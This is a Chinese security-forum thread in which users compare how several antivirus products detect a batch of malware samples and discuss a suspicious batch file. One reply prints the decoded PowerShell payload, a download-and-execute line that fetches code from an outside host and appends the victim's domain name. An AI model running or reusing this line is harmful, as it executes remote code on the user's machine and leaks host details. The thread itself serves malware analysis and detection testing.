样本8X

显示全部楼层 · 发表于 2019-2-15 22:21:26

本帖最后由 www-tekeze 于 2019-2-15 22:27 编辑

安天智甲，6X 。。。管家无BD，5X，加BD待测。补充：加BD后多杀ps1，看图BD的报法。

显示全部楼层 · 发表于 2019-2-15 22:22:29

www-tekeze 发表于 2019-2-15 22:01
红伞，监控杀5X，剩余3X多次扫描不报，根据4楼说法bat不算毒，仍然MISS 2X 。。

我可没说不算病毒，只是说原样本不是bat。

base64解密看看就知道了。

显示全部楼层 · 发表于 2019-2-15 22:28:36

落华无痕发表于 2019-2-15 22:22
我可没说不算病毒，只是说原样本不是bat。

不懂解密，待会双击试试。。

显示全部楼层 · 发表于 2019-2-15 22:43:40

单试一下.Bat

显示全部楼层 · 发表于 2019-2-15 22:51:07

本帖最后由 www-tekeze 于 2019-2-15 22:54 编辑

落华无痕发表于 2019-2-15 22:22
我可没说不算病毒，只是说原样本不是bat。

双击bat，有N多个powershell弹窗，全部允许没看到其它行为，也不会联网。

额，上传后智量清空了，对bat报Downloader，可没见到联网动作啊。

显示全部楼层 · 发表于 2019-2-15 23:14:32

www-tekeze 发表于 2019-2-15 22:51
双击bat，有N多个powershell弹窗，全部允许没看到其它行为，也不会联网。

额，上传后智量清空了，对ba ...

网站估计暂时无法访问，你在线解密base64，就可以看到访问的网址了。

显示全部楼层 · 发表于 2019-2-15 23:16:29

www-tekeze 发表于 2019-2-15 22:51
双击bat，有N多个powershell弹窗，全部允许没看到其它行为，也不会联网。

额，上传后智量清空了，对ba ...

LZ不是说了base64解密吗。。。

IEX (New-Object Net.WebClient).downloadstring('http://v.beahh.com/v'+$env:USERDOMAIN)

复制代码

显示全部楼层 · 发表于 2019-2-15 23:19:45

落华无痕发表于 2019-2-15 23:14
网站估计暂时无法访问，你在线解密base64，就可以看到访问的网址了。

网站已经没解析了，驱动人生有点有趣

显示全部楼层 · 发表于 2019-2-15 23:23:24

落华无痕发表于 2019-2-15 23:14
网站估计暂时无法访问，你在线解密base64，就可以看到访问的网址了。

没玩懂。。

显示全部楼层 · 发表于 2019-2-15 23:25:25

BE_HC 发表于 2019-2-15 23:16
LZ不是说了base64解密吗。。。

被墙了？

[病毒样本] 样本8X